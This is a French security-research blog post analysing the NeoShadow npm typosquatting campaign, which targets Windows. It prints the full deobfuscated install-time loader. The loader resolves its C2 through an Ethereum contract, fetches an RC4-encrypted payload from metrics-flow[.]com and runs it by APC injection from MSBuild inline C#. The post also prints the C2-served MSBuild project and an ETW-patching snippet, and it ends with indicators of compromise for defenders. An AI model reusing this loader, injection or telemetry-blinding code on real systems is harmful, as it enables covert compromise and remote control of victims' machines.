Aikido

JavaScript, MSBuild et la Blockchain : Anatomie de l'attaque de la chaîne d'approvisionnement npm NeoShadow

Écrit par
Charlie Eriksen

Le 30 décembre, une soudaine explosion de nouveaux packages npm provenant d'un seul auteur a attiré notre attention. Notre moteur d'analyse en a signalé plusieurs comme suspects peu après leur apparition. Nous appelons cette campagne/acteur de menace « NeoShadow », basé sur un identifiant commun observé dans sa charge utile de phase 2. Les packages identifiés étaient :

  • viem-js
  • cyrpto
  • tailwin
  • supabase-js

Tous ont été publiés par l'utilisateur cjh97123. Ce sont tous des packages de typosquattage, ce qui n'est pas nouveau. Mais nous avons été amusés par le malware réel que nous y avons trouvé. Non seulement nous avons constaté que l'obfuscation n'était pas facilement désobfusquée par les outils courants, mais nous avons pu constater que le malware réalisait des actions assez inédites. Nous nous sommes donc attelés à améliorer une fois de plus nos chaînes d'outils de désobfuscation et à comprendre ce malware en profondeur.

Étape 0 - JS malveillant sur npm

La première partie de notre investigation commence avec ce fichier de configuration, mais attention : elle nous mènera bientôt vers des territoires étranges et merveilleux. Ce fichier JavaScript, situé dans scripts/setup.js à travers tous les packages, sert de chargeur multi-étapes, uniquement pour Windows. Son comportement peut être résumé par les étapes ordonnées suivantes :

1️⃣ Validation de la plateforme et de l'environnement

  • 🪟 Confirme l'exécution sur Windows
  • 🧪 Applique une heuristique anti-analyse en comptant les entrées du journal d'événements système Windows
  • 🚫 Se termine prématurément dans les environnements à faible activité ou de type sandbox

2️⃣ Configuration dynamique via Blockchain

  • ⛓️ Interroge un smart contract Ethereum en utilisant l'API eth_call d'Etherscan
  • 📤 Extrait une chaîne de caractères stockée dynamiquement à partir de données on-chain
  • 🌐 Traite la valeur décodée comme une URL de base C2
  • 🔁 Revient à un domaine codé en dur si la recherche de la chaîne échoue

3️⃣ Acquisition furtive de charge utile

  • 📡 Demande un fichier JavaScript distant se faisant passer pour des analyses
  • 🫥 Localise un blob encodé en Base64 caché à l'intérieur d'un commentaire de bloc
  • 📦 Utilise le commentaire uniquement comme conteneur de charge utile, et non comme code exécutable

4️⃣ Exécution Living-off-the-Land (MSBuild)

  • 🛠️ Écrit un fichier temporaire projet MSBuild (.proj) fichier
  • 🧬 Intègre du code C# en ligne en utilisant CodeTaskFactory
  • 🚫 S'exécute sans déposer ni compiler un exécutable autonome
  • 🧾 S'appuie sur un binaire Windows de confiance (MSBuild.exe)

5️⃣ Déchiffrement du payload

  • 🔐 Décode le payload Base64
  • 🔑 Dérive une clé RC4 en masquant par XOR les 16 premiers octets
  • 🔓 Déchiffre le payload restant en mémoire

6️⃣ Injection et exécution de processus

  • 🧠 Lance RuntimeBroker.exe en état suspendu
  • 💉 Alloue de la mémoire dans le processus distant
    ✍️ Écrit le shellcode déchiffré
  • ⚡ S'exécute via APC injection (QueueUserAPC + ResumeThread)

7️⃣ Déploiement d'artefacts secondaires

  • 📥 Télécharge optionnellement un fichier de configuration de suivi
  • 📁 Le persiste sous : %APPDATA%\Microsoft\CLR\config.proj

C'est beaucoup. Si vous êtes curieux, voici le code réel après notre désobfuscation :

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Cela nous permet de voir la logique plus clairement. C'est une approche novatrice d'utiliser le code MSBuild et C#. Comme dans l'autre version, il tente de télécharger la charge utile depuis https://metrics-flow[.]com/assets/js/analytics.min.js et le déchiffrer avec une clé RC4. 

Étape 1 - C'est quoi ce MSBuild ? 

Une chose que vous remarquerez dans le code est qu'il tente d'extraire le fichier _next/data/config.json depuis le domaine C2. Je l'ai donc récupéré, et il a renvoyé une version plus propre du script MSBuild :

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Cela nous permet de voir la logique plus clairement. C'est une approche novatrice d'utiliser le code MSBuild et C#. Comme dans l'autre version, il tente de télécharger la charge utile depuis https://metrics-flow[.]com/assets/js/analytics.min.js et le déchiffrer avec une clé RC4. 

Étape 2 - Analyse du shellcode

À ce stade, nous étions naturellement curieux de savoir ce qui justifiait l'effort derrière un mécanisme de livraison aussi novateur. Après avoir déchiffré le payload, nous avons constaté qu'il contenait du shellcode, comme prévu. 

En fouillant dans les octets bruts du payload déchiffré, deux noms nous ont immédiatement frappés : NeoShadowV2DeriveKey2026 et Global\NSV2_8e4b1d. Le lien entre eux est difficile à ignorer. NS est un raccourci naturel pour NeoShadow, et les deux chaînes partagent le même V2 marqueur. Pris ensemble, ceux-ci ne semblent ni accidentels ni génériques ; ils ressemblent plutôt à des étiquettes internes des auteurs. Basé sur cette cohérence, nous désignons l'acteur de la menace derrière cette activité comme NeoShadow. Le fait de retrouver la même nomenclature dans les routines cryptographiques et les contrôles d'exécution confère au malware une identité claire et suggère un ensemble d'outils délibérément versionné et activement maintenu, plutôt qu'une expérience ponctuelle.

Nous avons ensuite exécuté le shellcode via Binary Ninja, ce qui a immédiatement produit une version C semi-lisible. Seulement... C'est 4000 lignes de C illisible. 🥹

Nous l'avons donc soumis à Claude pour obtenir une version plus propre. Et effectivement, il a généré une version du code C de 1900 lignes, agréable et lisible. Cela nous amène à la prochaine étape de notre aventure.

Étape 3 - Un rat dans le build

Le payload final est une backdoor complète conçue pour un accès à long terme. Une fois exécuté, il entre dans une boucle de balise, se connectant au serveur C2, rapportant les informations système et interrogeant les commandes. L'implant est léger par conception : il établit l'accès et fournit une primitive d'exécution, tandis que toutes les fonctionnalités de post-exploitation sont poussées sous forme de modules jetables.

Comportement de la balise

  • 📡 Envoie des check-ins chiffrés via HTTPS POST
  • 🪪 Inclut l'empreinte de l'hôte : nom de l'ordinateur, nom d'utilisateur, ID de l'agent
  • 🔀 Randomise les chemins d'URL pour imiter le trafic légitime (/assets/js/, /api/v1/, /wp-content/, etc.)
  • 🏷️ Marque les requêtes avec un X-Agent-Id en-tête pour le suivi des victimes
  • ⏱️ Prend en charge un intervalle de veille configurable avec gigue (par défaut 20 %)

Chiffrement

Tout le trafic C2 est chiffré avec ChaCha20, un chiffrement de flux privilégié pour sa rapidité et sa sécurité. Les clés sont établies via Curve25519 ECDH. 

Jeu de commandes

Les opérateurs disposent de trois commandes :

sleep
  • ⏰ Ajuste l'intervalle de balise à la volée
  • 🔇 Permet aux opérateurs de rester discrets pendant les phases de persistance ou d'accélérer pour un engagement actif
module
  • 🌐 Récupère la charge utile depuis une URL
  • 📦 S'il s'agit d'une DLL : localise ReflectiveLoader l'export, injecte sans toucher au disque
  • 💉 S'il s'agit de shellcode : injecte directement dans RuntimeBroker.exe via injection APC
  • 🧰 Mécanisme principal pour le déploiement d'outils de post-exploitation 
inject
  • 🔤 Accepte le shellcode encodé en base64 directement dans la commande
  • 🔒 Garde tout à l'intérieur du canal C2 chiffré
  • ⚡ Même chemin d'injection que le module, mais sans la récupération réseau

Gestion des réponses

  • ✅ Renvoie OK ou DLL OK en cas de succès
  • ❌ Erreurs descriptives : Erreur : alloc, Erreur : fetch, Erreur : decode, Erreur : inject, Erreur : not PE
  • 📤 Les DLL injectées peuvent écrire dans un tampon partagé qui est exfiltré dans la réponse
  • 🔁 Toutes les communications utilisent le même chiffrement ChaCha20 que le beacon

Ce petit cheval de Troie d'accès à distance (RAT) minimaliste est assez ingénieux. Sa seule fonction est d'établir un lien C2 persistant et d'agir comme chargeur de première étape pour des malwares plus puissants. Cela offre aux attaquants un point d'entrée flexible et discret pour déployer des outils secondaires (par exemple, des enregistreurs de frappe ou des rançongiciels) et intensifier l'attaque à volonté.

Fonctionnalités intéressantes

Le malware intègre quelques fonctionnalités astucieuses pour tenter de se dissimuler et de masquer son serveur C2, que nous avons détaillées ci-dessous. 

🙈 Aveugler l'hôte : Patching ETW

L'Event Tracing for Windows (ETW) est le système nerveux de la télémétrie Windows moderne. Lorsqu'un assembly .NET se charge, ETW le détecte. Lorsque PowerShell exécute un bloc de script, ETW l'enregistre. Lorsqu'un processus est créé, un thread est généré, une DLL est chargée, une connexion réseau est établie, des événements ETW sont émis et les produits de sécurité les consomment. Les plateformes de sécurité, y compris les solutions de détection et de réponse aux incidents sur les endpoints (EDR) et les outils SIEM, s'appuient toutes fortement sur ETW pour la détection. La désactivation d'ETW altère gravement la visibilité de ces outils de sécurité. Il est à noter que cette technique n'est pas nouvelle ; elle est bien connue depuis des années.

L'implant fait exactement cela. Avant d'établir les communications C2 ou d'effectuer toute activité suspecte, il localise NtTraceEvent dans ntdll.dll, la fonction de bas niveau par laquelle toutes les émissions d'événements ETW transitent finalement. Il résout l'adresse via sa résolution d'API standard basée sur le hachage (hash 0xDECFC1BF), puis appelle VirtualProtect pour rendre la mémoire de la fonction inscriptible :

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Avec l'accès en écriture, il écrase les quatre premiers octets de la fonction avec un simple stub qui renvoie un succès sans rien faire :

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

C'est tout. Quatre octets, 48 33 C0 C3, et chaque événement ETW sur le système cesse d'être déclenché. La fonction retourne STATUS_SUCCESS afin que les appelants ne rencontrent pas d'erreurs ou ne retentent pas, mais aucun événement n'atteint jamais le noyau. Les produits de sécurité interrogeant les fournisseurs ETW obtiennent le silence.

🙈Camouflage du serveur C2

Nous avons donc examiné le domaine C2 metrics-flow[.]com, et nous avons bien ri de la tentative des attaquants de se camoufler. Ils ont intégré une astucieuse couche de sécurité conçue pour dérouter les outils automatisés et les chercheurs humains. Lorsque vous accédez à la page principale, vous n'obtenez jamais la même chose deux fois. Au lieu de cela, le serveur distribue un ensemble de contenu factice complètement aléatoire, le faisant ressembler à un site web tout à fait normal et non malveillant. Très astucieux, et cela facilitera l'identification des serveurs C2 pour les futurs chercheurs. 😀

Domaine C2

Le domaine C2 a été enregistré à peu près au même moment où le malware a été publié pour la première fois sur npm, le 30 décembre 2025, comme le montrent les informations whois :

Modifications de la version 2

Toutes les analyses jusqu'à présent sont basées sur la version déployée le 30 décembre 2025. Une autre version des packages a été déployée le 2 janvier 2026. Le changement le plus notable est qu'un exécutable Windows, analytics.node, est également inclus. Nous avons remarqué qu'aucun antivirus sur VirusTotal ne l'a détecté comme malveillant :

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

De plus, le fichier JavaScript a été obfusqué différemment et est plus difficile à désobscurcir que la version originale, avec ce qui semble être de nouvelles techniques d'obfuscation incluses dans cette version. 

Nous obtenons également une autre référence au projet nommé NeoShadow : C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

Conclusion 

À ce jour, nous n'avons pas tenté de récupérer une charge utile dynamique du serveur C2. Cependant, nous avons clairement constaté une tentative bien conçue de livrer ce que nous pensons être un nouveau malware dans le cadre d'une campagne plus vaste, précédemment non documentée, qui a construit son propre serveur C2, RAT, mécanisme de livraison et techniques de camouflage pour masquer son serveur C2. 

🚨 Indicateurs de compromission

  • Domaine : metrics-flow[.]com
  • Adresse IP : 80.78.22[.]206
  • Binaire012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Adresse Ethereum : 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nom du mutex : Global\NSV2_8e4b1d
  • Packages NPM :
    • viem-js
    • cyrpto
    • tailwin
    • supabase-js

Partager :

https://www.aikido.dev/blog/neoshadow-npm-supply-chain-attack-javascript-msbuild-blockchain

Abonnez-vous pour les actualités sur les menaces.

Commencez dès aujourd'hui, gratuitement.

Commencer gratuitement
Sans carte bancaire

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.